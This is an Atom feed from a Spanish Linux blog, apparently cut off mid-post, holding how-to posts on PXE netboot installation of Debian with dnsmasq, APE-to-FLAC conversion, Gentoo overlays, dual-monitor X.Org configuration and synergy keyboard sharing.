<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-34978680</id><updated>2011-07-29T05:32:11.225+02:00</updated><category term='juegos'/><category term='UDEV'/><category term='synergy'/><category term='seamless'/><category term='gentoo'/><category term='dnsmasq'/><category term='traducciones'/><category term='bbpress'/><category term='mplayer'/><category term='pando'/><category term='switch'/><category term='overlays'/><category term='ordenacion'/><category term='virtualizacion'/><category term='tftp'/><category term='quake3'/><category term='amd64'/><category term='netboot'/><category term='rdp'/><category term='utf8'/><category term='monitor'/><category term='script'/><category term='debian'/><category term='alsa'/><category term='kvm'/><category term='BIOS'/><category term='rdesktop'/><category term='redes'/><category term='cpu'/><category term='pxe'/><category term='apache'/><category term='idiomas'/><category term='p2p'/><category term='php'/><category term='webcam'/><category term='programacion'/><category term='voip'/><category term='bases de datos'/><category term='inyecciones sql'/><category term='configuracion'/><category term='ripeo'/><category term='amd64X2'/><category term='hal'/><category term='wordpress'/><category term='monkeys_audio'/><category term='ps2'/><category term='repositorio'/><category term='sql'/><category term='drivers'/><category term='teclado'/><category term='flac'/><category term='64bb (64 bits bugs)'/><category term='panoramica'/><category term='raton'/><category term='ubuntu'/><title type='text'>Finka Linux</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>moz667</name><uri>http://www.blogger.com/profile/16205397846816665132</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://photos1.blogger.com/blogger/7396/558/400/avatar-20060902.0.png'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>32</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-34978680.post-586282357709860139</id><published>2009-02-23T23:15:00.009+01:00</published><updated>2009-02-24T00:04:29.393+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='netboot'/><category scheme='http://www.blogger.com/atom/ns#' term='pxe'/><category scheme='http://www.blogger.com/atom/ns#' term='debian'/><category scheme='http://www.blogger.com/atom/ns#' term='tftp'/><category scheme='http://www.blogger.com/atom/ns#' term='dnsmasq'/><title type='text'>Instalando debian 5.0 con netboot</title><content type='html'>Desde hace unos meses tengo un eeepc y todavia lo tenia con xandros instalado, estuve pensando en hacerle de todo, desde instalarle cualquier distro (debian y eeebuntu eran mis primeras elecciones) hasta en hacerme una distro especifica basandome en gentoo (geeentoo la iba a llamar) con emerges a traves de un servi chrooteado en casa.... pero como soy muy vago, se acerca la fiberparty, sacaron la 5.0 de debian y uno tiene que guardar apariencias... pues me puse manos a la obra con debian&lt;br /&gt;&lt;br /&gt;La opcion + facil es comprarte un lector/grabador de dvds con conex por usb... bajarte la iso e instalar, pero recalco soy muy vago e impaciente... tendria que ir al fnac comprarla desenvalarla... en fin... un coñazo, a parte que comprarte un lector solo para esto es un poco gilipollesco.&lt;br /&gt;&lt;br /&gt;Una opcion bastante facil es hacerte un usb-arrancable, te bajas la iso, te montas el squash lo metes todo en el usb grub-install y punto pelota... es la mejor opcion a voz de pronto.... ¿no? &lt;br /&gt;&lt;br /&gt;¿y que tal si usamos de una puta vez el netboot que ya soportan todos los ordenadores? ademas nunca he arrancado por red un ordena y tiene que molar asi que he aqui el micro howto para que no os volvais locos.&lt;br /&gt;&lt;br /&gt;Bajarte la netboot install de debian &lt;a href="http://ftp.nl.debian.org/debian/dists/lenny/main/installer-i386/current/images/netboot/netboot.tar.gz"&gt;aquimismo...&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Descomprimir en el directorio /tftpboot/&lt;br /&gt;&lt;br /&gt;Necesitais tener un servidor DHCP instalado y rulante, yo personalmente estoy enamorado de &lt;a href="http://thekelleys.org.uk/dnsmasq/doc.html"&gt;dnsmasq&lt;/a&gt;, pesa poco, te vale para dns, dhcp... ignoro la desventaja que tendra para entornos mas serios pero para casa me va de c*j*ns y cuando vi que tenia soporte para tftp.... ¡ay! como le quiero&lt;br /&gt;&lt;br /&gt;Si estas en gentoo conviene que verifiques que lo instalaste con la use tftp sino... a remergear&lt;br /&gt;&lt;br /&gt;&lt;code&gt;USE=tftp emerge -DuvaN dnsmasq&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Activando tftp&lt;br /&gt;Editais el archivo de config de dnsmasq /etc/dnsmasq.conf&lt;br /&gt;&lt;br /&gt;&lt;code&gt;nano -w /etc/dnsmasq.conf&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Descomenta las siguientes lineas (o añadelas al final) para activar el servidor tftp&lt;br /&gt;&lt;br /&gt;&lt;code&gt;dhcp-boot=pxelinux.0&lt;br /&gt;enable-tftp&lt;br /&gt;tftp-root=/tftpboot/&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Reinicias el dnsmasq...&lt;br /&gt;&lt;br /&gt;&lt;code&gt;/etc/init.d/dnsmasq restart&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Listo, ya solo te queda configurar desde la bios del ordena que quieres acceder que arranque desde red.&lt;br /&gt;&lt;br /&gt;Una vez usado conviene comentarlo en el dnsmasq.conf y reiniciar otra vez... ¿pa que tener arrancado el tftp? usalo cuando lo necesites...&lt;br /&gt;&lt;br /&gt;Rapido verda? bueno, ahora viene lo mas interesante, para mi caso particular el initrd de la net-install de debian no tiene los drivers de la tarjeta de red de mi eeepc 701, aqui explico como solucionarlo, en base al ejemplo con los drivers de las tarjetas atl2 pero imagino que os valdra para posibles drivers que os falten&lt;br /&gt;&lt;br /&gt;Descomprimes el initrd.gz y lo mueves a initrd.d&lt;br /&gt;&lt;br /&gt;&lt;code&gt;cd /tftpboot/debian-installer/i386/&lt;br /&gt;gzip -dc initrd.gz |cpio -i&lt;br /&gt;mv initrd initrd.d&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Te descargas los drivers que necesites, para este caso estan &lt;a href="http://packages.debian.org/sid/i386/atl2-modules-2.6.26-1-486/download"&gt;aquimismo...&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Extraes el modulo y lo copias al directorio /tftpboot/debian-installer/i386/initrd.d/lib/modules/2.6.26-1-486/kernel/ ....  donde veas tu que mejor queda ;) es para el initrd , en mi caso copie la carpeta atl2 en /tftpboot/debian-installer/i386/initrd.d/lib/modules/2.6.26-1-486/kernel/drivers/net/atl2/atl2.ko&lt;br /&gt;&lt;br /&gt;registras el modulo añadiendolo a el modules.dep :&lt;br /&gt;&lt;code&gt;echo "/lib/modules/2.6.26-1-486/kernel/drivers/net/atl2/atl2.ko:" &gt;&gt; /tftpboot/debian-installer/i386/initrd.d/lib/modules/2.6.26-1-486/modules.dep&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;creamos el nuevo initrd.gz&lt;br /&gt;&lt;code&gt;cd /tftpboot/debian-installer/i386/initrd.d/&lt;br /&gt;find . | cpio --create --format='newc' &gt; ../initrd&lt;br /&gt;cd ..&lt;br /&gt;gzip -9 initrd initrd.d&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;y ya esta una netboot con un modulo nuevo metido... a disfrutarla....&lt;br /&gt;&lt;br /&gt;no es que sea listo... es que busque en google y encontre este articulo : http://sharengo.org/infra/haplatform/docs/UbuntuOnHPProliantDL360-380-G5/en/html_single/index.html&lt;br /&gt;&lt;br /&gt;Infinitas gracias al autor&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-586282357709860139?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/586282357709860139/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=586282357709860139' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/586282357709860139'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/586282357709860139'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2009/02/instalando-debian-50-con-netboot.html' title='Instalando debian 5.0 con netboot'/><author><name>moz667</name><uri>http://www.blogger.com/profile/16205397846816665132</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://photos1.blogger.com/blogger/7396/558/400/avatar-20060902.0.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-1689441769610940632</id><published>2008-07-03T19:30:00.004+02:00</published><updated>2008-07-03T19:58:30.718+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ripeo'/><category scheme='http://www.blogger.com/atom/ns#' term='overlays'/><category scheme='http://www.blogger.com/atom/ns#' term='gentoo'/><category scheme='http://www.blogger.com/atom/ns#' term='flac'/><category scheme='http://www.blogger.com/atom/ns#' term='monkeys_audio'/><category scheme='http://www.blogger.com/atom/ns#' term='repositorio'/><title type='text'>APE + CUE to FLAC</title><content type='html'>Aprovechando el artículo de layman de MoZ, paso a comentar como convertir archivos en formato Monkey’s Audio (privativo, caca) a FLAC (GPL, bueno).&lt;br /&gt;&lt;br /&gt;Bueno, además tengo que decir que no estoy seguro de que se pueda reroducir un archivo .ape directamente, pero eso, ¿a quien le importa? ^_~&lt;br /&gt;&lt;br /&gt;Lo primero, &lt;span style="font-weight: bold;"&gt;instalación de paquetes necesarios&lt;/span&gt;.&lt;br /&gt;Necesitaremos el paquete /media-libs/mac Que se encuentra en el overlay de berkano (mirar en el artículo anterior para instalarlo)&lt;br /&gt;&lt;code&gt;layman -f -a berkano&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Instalamos el paquete:&lt;br /&gt;&lt;code&gt;&lt;span class="start-tag"&gt;&lt;/span&gt;emerge -uva /media-libs/mac&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;También necesitaremos el paquete app-cdr/bchunk para cortar el wav que nos genere mac:&lt;br /&gt;&lt;code&gt;emerge -uva app-cdr/bchunk&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y por último, media-libs/flac:&lt;br /&gt;&lt;code&gt;emerge -uva media-libs/flac&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Tengo que reconocer que he sido incapaz (y MoZ también T_T) de decirle al portage que sólo me interesa el paquete mac, y un emerge world intentaba actualizarme todos los paquetes que tengo instalados que tiene berkano. Así que con mucho dolor de mi corazón, he quitado el overlay de berkano una vez instalados los paquetes que necesitaba.&lt;br /&gt;&lt;code&gt;layman -d berkano&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Y ahora sí, nos ponemos con la &lt;span style="font-weight: bold;"&gt;conversión de APE a FLAC&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Primero convertimos el fichero ape a wav:&lt;/li&gt;&lt;/ul&gt;&lt;code&gt;mac fichero.ape fichero.wav -d&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;A continuación, cortamos el fichero wav que nos ha generado:&lt;/li&gt;&lt;/ul&gt;&lt;code&gt;bchunk -w fichero.wav fichero.cue nombre_final&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Esto habrá generado un archivo nombre_final01.wav por cada pista de audio&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Por último, lo convertimos a formato flac:&lt;/li&gt;&lt;/ul&gt;&lt;code&gt;flac -V --best *wav&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Además del tema de los repositorios, queda pendiente ver cómo tagear automáticamente los ficheros .flac, pero de momento no he visto una forma trivial de hacerlo.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-1689441769610940632?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/1689441769610940632/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=1689441769610940632' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/1689441769610940632'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/1689441769610940632'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2008/07/ape-cue-to-flac.html' title='APE + CUE to FLAC'/><author><name>bpk</name><uri>http://www.blogger.com/profile/02129895914842177431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-8271847753787914597</id><published>2008-06-29T09:28:00.009+02:00</published><updated>2008-07-02T10:33:25.620+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='overlays'/><category scheme='http://www.blogger.com/atom/ns#' term='gentoo'/><category scheme='http://www.blogger.com/atom/ns#' term='repositorio'/><title type='text'>Miro en repositorio de gentoo</title><content type='html'>Basicamente este articulo es : Gentoo + Layman + www.sabayonlinux.org = miro y otros paquetes interesantes que no estan en el repositorio oficial de gentoo.&lt;br /&gt;&lt;br /&gt;Por increible que paredca, hay paquetes que no estan en el repo oficial de gentoo... Para acceder a ellos basta con instalarnos el layman&lt;br /&gt;&lt;br /&gt;&lt;code&gt;emerge layman&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;He ir añadiendo respos de terceros, para el caso del &lt;a href="http://www.getmiro.com/"&gt;miro tv&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;layman -f -a sabayon&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Esto añadira el repo de &lt;a href="http://www.sabayonlinux.org/"&gt;Sabayon&lt;/a&gt; a nuestros overlays&lt;br /&gt;&lt;br /&gt;y añadir esta linea al make.conf&lt;br /&gt;&lt;br /&gt;&lt;code&gt;source /usr/portage/local/layman/make.conf&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Ahora si hacemos &lt;br /&gt;&lt;br /&gt;&lt;code&gt;emerge miro&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Se nos deberia instalar el miro tv... A mi me acaba de dar un error de compilacion ^_^ ... esta hard masked para amd64.... a ver si doy con ello&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Si usais eix teneis que hacer eix-sync para actualizar los datos con las versiones de los packetes de los overlays que hallamos añadido&lt;/i&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-8271847753787914597?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/8271847753787914597/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=8271847753787914597' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/8271847753787914597'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/8271847753787914597'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2008/06/miro-en-repositorio-de-gentoo.html' title='Miro en repositorio de gentoo'/><author><name>moz667</name><uri>http://www.blogger.com/profile/16205397846816665132</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://photos1.blogger.com/blogger/7396/558/400/avatar-20060902.0.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-6951583227239137416</id><published>2008-06-06T11:19:00.007+02:00</published><updated>2008-07-02T15:45:03.073+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='monitor'/><category scheme='http://www.blogger.com/atom/ns#' term='configuracion'/><title type='text'>Xinerama, xrand, gtf, y alguna otra cosilla del mundillo de las X.Org</title><content type='html'>Buscando info para configurar correctamente un segundo monitor conectado al portátil, he dado con unos cuantos comandos que me han sido de gran utilidad.&lt;br /&gt;Hay que decir que antes de tocar nada, Debian detectaba correctamente cuando conectabas un segundo monitor LCD y clonaba la imagen. Mi objetivo era utilizar los 2 monitores en modo xinerama.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Configuración de xinerama&lt;/span&gt;&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;Como las opciones creo que son bastante autoexplicativas, paso a indicar las modificaciones que he tenido que hacer en el archivo &lt;span style="font-style:italic;"&gt;xorg.conf&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Añadir en la sección &lt;span style="font-style:italic;"&gt;"device"&lt;/span&gt;:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;        Option          "monitor-VGA" "VGA"&lt;br /&gt;        Option          "monitor-LVDS" "LVDS"&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Sustituir la sección &lt;span style="font-style:italic;"&gt;"Monitor"&lt;/span&gt; por una independiente por cada monitor:&lt;br /&gt;&lt;br /&gt;La versión original:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;Section "Monitor"&lt;br /&gt;        Identifier      "Monitor gen&lt;E9&gt;rico"&lt;br /&gt;        Option          "DPMS"&lt;br /&gt;EndSection&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Ha quedado así:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;Section "Monitor"&lt;br /&gt;        Identifier      "VGA"&lt;br /&gt;        Option "PreferredMode"  "1280x1024"&lt;br /&gt;        Option        "Position" "0 0"&lt;br /&gt;EndSection&lt;br /&gt;&lt;br /&gt;Section "Monitor"&lt;br /&gt;        Identifier      "LVDS"&lt;br /&gt;        Option          "DPMS"&lt;br /&gt;        Option "LeftOf"  "VGA"&lt;br /&gt;        Option "Enable"  "true"&lt;br /&gt;EndSection&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Respecto a la sección &lt;span style="font-style:italic;"&gt;"Screen"&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;La versión original:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;Section "Screen"&lt;br /&gt;        Identifier      "Default Screen"&lt;br /&gt;        Device          "Intel Corporation Mobile 945GM/GMS, 943/940GML Express Integrated Graphics Controller"&lt;br /&gt;        Monitor         "Monitor gen&lt;E9&gt;rico"&lt;br /&gt;        DefaultDepth    24&lt;br /&gt;        SubSection "Display"&lt;br /&gt;                Modes           "1680x1050" "1440x900" "1400x1050"&lt;br /&gt;        EndSubSection&lt;br /&gt;EndSection&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Ha quedado así:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;Section "Screen"&lt;br /&gt;        Identifier      "Default Screen"&lt;br /&gt;        Device          "Intel Corporation Mobile 945GM/GMS, 943/940GML Express Integrated Graphics Controller"&lt;br /&gt;        Monitor         "LVDS"&lt;br /&gt;        DefaultDepth    24&lt;br /&gt;        SubSection "Display"&lt;br /&gt;                #Modes          "1680x1050" "1440x900" "1400x1050" "1280x800"&lt;br /&gt;                Modes           "1280x800" "1280x768" "1024x768" "800x600" "640x480"&lt;br /&gt;                Virtual         2624 1200&lt;br /&gt;        EndSubSection&lt;br /&gt;EndSection&lt;br /&gt;&lt;br /&gt;Section "Screen"&lt;br /&gt;        Identifier      "Second Screen"&lt;br /&gt;        Device          "Intel Corporation Mobile 945GM/GMS, 943/940GML Express Integrated Graphics Controller"&lt;br /&gt;        Monitor         "LVDS"&lt;br /&gt;        DefaultDepth    24&lt;br /&gt;        SubSection "Display"&lt;br /&gt;                Modes           "1680x1050" "1440x900" "1400x1050" "1280x1024"&lt;br /&gt;                Virtual         2624 1200&lt;br /&gt;        EndSubSection&lt;br /&gt;EndSection&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y por último, en la sección &lt;span style="font-style:italic;"&gt;"ServerFlags"&lt;/span&gt; hay que añadir:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;        Option "Xinerama" "enable"&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;En mi caso no tenía dicha sección, así que he añadido algo tal que así:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;Section "ServerFlags"&lt;br /&gt;        Option "Xinerama" "enable"&lt;br /&gt;EndSection&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;La única opción que parece poco intuitiva es &lt;span style="font-style:italic;"&gt;"Virtual"&lt;/span&gt;. Esta es la resolución máxima que vamos a darle al entorno de ambos escritorios. [1]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Comando Xrandr&lt;/span&gt;&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;Obviamente, el tema de las resoluciones es cosa de cada uno. Ahí es donde entra el comando xrand. Dicho comando sirve para modificar dinámicamente la resolución, orientación etc. de los monitores.  Muy útil para realizar las pruebas sin el incordio de estar reiniciando las X.&lt;br /&gt;&lt;br /&gt;Además a mí me han  ido de coña los valores de autodetección que devuelve:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;xrandr -q&lt;br /&gt;Screen 0: minimum 320 x 200, current 2560 x 1024, maximum 2624 x 1200&lt;br /&gt;VGA connected 1280x1024+1280+0 (normal left inverted right x axis y axis) 376mm x 301mm&lt;br /&gt;   1280x1024      60.0*+   74.9     75.0     59.9&lt;br /&gt;   1024x768       75.1     70.1     60.0&lt;br /&gt;   832x624        74.6&lt;br /&gt;   800x600        72.2     75.0     60.3     56.2&lt;br /&gt;   640x480        75.0     72.8     66.7     60.0&lt;br /&gt;   720x400        70.1&lt;br /&gt;LVDS connected 1280x800+0+0 (normal left inverted right x axis y axis) 331mm x 207mm&lt;br /&gt;   1280x800       60.0*+   60.0&lt;br /&gt;   1280x768       60.0&lt;br /&gt;   1024x768       60.0&lt;br /&gt;   800x600        60.3&lt;br /&gt;   640x480        59.9&lt;br /&gt;TV disconnected (normal left inverted right x axis y axis)&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Con esto conseguimos, por un lado saber si las X están detectando correctamente los dispositivos que tenemos conectados, y por otro cuales son las resoluciones que soportan.&lt;br /&gt;&lt;br /&gt;Varios ejemplos de las pruebas que podemos realizar con xrandr:&lt;br /&gt;Deshabilitar el monitor externo:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;xrandr  --output VGA --off&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Clonar ambas imágenes:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;xrandr --output LVDS --auto --output VGA --auto --same-as LVDS&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Poner el monitor externo a la derecha de la pantalla del portátil:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;xrandr --output LVDS --auto --left-of VGA&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Comando gtf&lt;/span&gt;&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;Por último, si tienes algún dispositivo rarito - o conectado a través de algún dispositivo que impide su correcta autodetección, podemos usar el comando gtf&lt;br /&gt;&lt;br /&gt;Por ejemplo, la resolución que necesito para el proye es 1280x720 a 60 Hz.&lt;br /&gt;&lt;br /&gt;1º Ejecutamos&lt;br /&gt;&lt;code&gt;&lt;br /&gt;gtf 1280 720 60&lt;br /&gt;&lt;br /&gt;  # 1280x720 @ 60.00 Hz (GTF) hsync: 44.76 kHz; pclk: 74.48 MHz&lt;br /&gt;  Modeline "1280x720_60.00"  74.48  1280 1336 1472 1664  720 721 724 746  -HSync +Vsync&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;2º Pegamos el resultado que nos ha devuelto en la sección "Monitor" del monitor que nos interesa, obviamente. Con esto, hemos creado una resolución llamada "1280x720_60.00"&lt;br /&gt;&lt;br /&gt;3º Especificamos dicha resolución en los "modes" que nos interesen.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Como siempre, aconsejo tirar de las páginas MAN de xrandr , gtf, xorg y xorg.conf para aprovechar sus posibilidades.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Mis archivos xorg.conf:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.telefonica.net/web/finka/xorg.conf.Single_Monitor"&gt;xorg.conf.Single_Monitor&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.telefonica.net/web/finka/xorg.conf.Dual_Monitor"&gt;xorg.conf.Dual_Monitor&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Importante, el cacharro tiene una gráfica INTEL, así que ojito con los copypaste a ciegas xD. Concretamente tengo una &lt;br /&gt;&lt;code&gt;&lt;br /&gt;lspci |grep Display&lt;br /&gt;00:02.1 Display controller: Intel Corporation Mobile 945GM/GMS/GME, 943/940GML Express Integrated Graphics Controller (rev 03)&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.thinkwiki.org/wiki/Xorg_RandR_1.2"&gt;[1]&lt;/a&gt;Casi toda la info ha sido sacada (que no fusilada ^_~) de &lt;a href="http://www.thinkwiki.org/wiki/Xorg_RandR_1.2"&gt;http://www.thinkwiki.org/wiki/Xorg_RandR_1.2&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34978680-6951583227239137416?l=finkalinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='enclosure' type='' href='http://www.telefonica.net/web/finka/xorg.conf.Dual_Monitor' length='0'/><link rel='enclosure' type='' href='http://www.telefonica.net/web/finka/xorg.conf.Single_Monitor' length='0'/><link rel='replies' type='application/atom+xml' href='http://finkalinux.blogspot.com/feeds/6951583227239137416/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34978680&amp;postID=6951583227239137416' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/6951583227239137416'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34978680/posts/default/6951583227239137416'/><link rel='alternate' type='text/html' href='http://finkalinux.blogspot.com/2008/06/xinerama-xrand-gtf-y-alguna-otra.html' title='Xinerama, xrand, gtf, y alguna otra cosilla del mundillo de las X.Org'/><author><name>bpk</name><uri>http://www.blogger.com/profile/02129895914842177431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34978680.post-3252401564455188046</id><published>2008-05-25T20:16:00.003+02:00</published><updated>2008-06-16T18:46:39.125+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='raton'/><category scheme='http://www.blogger.com/atom/ns#' term='monitor'/><category scheme='http://www.blogger.com/atom/ns#' term='teclado'/><category scheme='http://www.blogger.com/atom/ns#' term='switch'/><category scheme='http://www.blogger.com/atom/ns#' term='synergy'/><title type='text'>Usando synergy con un solo monitor</title><content type='html'>Ahora que tengo un portatil nuevo y lo tengo enganchado casi todo el tiempo al cacho de monitor que me compre es engorroso tener 2 teclados encima de la mesa.&lt;br /&gt;&lt;br /&gt;Lo cierto es que he estado asi 2 semanas pero por fin encontre la solucion usando synergy.&lt;br /&gt;&lt;br /&gt;Describire primero mi caso para que los que ya useis synergy no os riais de mi porque os resulte demasiado tribial. &lt;br /&gt;&lt;br /&gt;Dos ordenadores conectados a &lt;b&gt;un mismo monitor&lt;/b&gt; (si, tiene 4 entradas mi monitor :P) y quiero que los dos ordenadores usen el mismo teclado y raton. Ademas quiero manejar todo con el teclado y el raton es decir cambiame a este ordenador, o cambiame al otro... &lt;br /&gt;&lt;br /&gt;&lt;code&gt;section: screens&lt;br /&gt; servername:&lt;br /&gt; clientname:&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;section: links&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;section: aliases&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;section: options&lt;br /&gt; keystroke(alt+left) = switchToScreen(clientname)&lt;br /&gt; keystroke(alt+right) = switchToScreen(servername)&lt;br /&gt;end&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Desde el servidor (el que tiene el teclado) : &lt;br /&gt;&lt;code&gt;synergys -f -c /etc/synergy.cfg&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Desde el cliente&lt;br /&gt;&lt;code&gt;synergyc servername&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Los monitores con varias entradas, normalmente, buscan la entrada que les da "chicha"... 